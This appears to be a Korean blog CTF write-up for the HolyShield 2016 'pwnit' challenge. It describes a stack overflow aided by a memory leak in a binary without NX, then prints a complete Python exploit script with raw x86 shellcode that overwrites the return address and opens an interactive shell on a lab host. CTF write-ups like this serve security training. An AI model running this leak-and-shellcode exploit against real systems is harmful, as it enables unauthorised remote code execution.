본문 바로가기

ctf

[HolyShield 2016 CTF] pwnit

# file

pwnit: ELF 32-bit LSB  shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=aeee07e7fd534a03861c10e4f7c9b008c8c56486, stripped

32bit 바이너리로 방어 기법으로는 PIE 기법만 걸려있는 것을 확인했다.

 

해당 바이너리는 Hint() 함수를 통해 Memory Leak 을 할 수 있다. 그리고 exploit() 함수에서 공격 코드를 입력받는다.

exploit() 함수에서 코드를 입력받는데 여기서 ret 주소를 덮어 쓸 수 있게된다. 그리고 Hint() 함수에서 Memory Leak 을 할 수 있는데 여기서 고정된 stack address 주소를 알아낼 수 있다.

NX 가 걸려있지 않기에 릭을 통해 알아낸 고정된 stack address와 shellcode 와의 offset을 구한다면 NOP Sled 기법을 이용해 쉽게 shell 을 얻을 수 있다.

 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - - - - - - - -

from struct import *
from socket import *
from telnetlib import *
import time
import hexdump

 

p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]


payload = "A"*48

shellcode = "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"


s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.127.162', 7777))

print s.recv(1024)

s.send("1\n")
time.sleep(0.3)
print s.recv(1024)

s.send("999\n")
data = s.recv(1024)
hexdump.hexdump(data)

stack_addr = up(data[12:16]) - 156
print "stack_addr = " + hex(stack_addr)

s.send("2\n")
print s.recv(1024)

r_payload = "A"*48 + p(stack_addr) + "A"*9 + shellcode

s.send(r_payload + "\n")
time.sleep(0.3)
print s.recv(1024)

s.send("3\n")
print s.recv(1024)

t = Telnet()
t.sock = s
t.interact()
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

'ctf' 카테고리의 다른 글

[CodeGate 2016 CTF] BugBug  (0) 2017.01.04
[CodeGate 2016 CTF] Fl0ppy  (0) 2016.12.21
[CodeGate 2016 CTF] Watermelon  (0) 2016.12.14
[SECCON 2016 CTF] cheer_msg  (0) 2016.12.12
[CodeGate 2015 CTF] bookstore  (0) 2016.11.14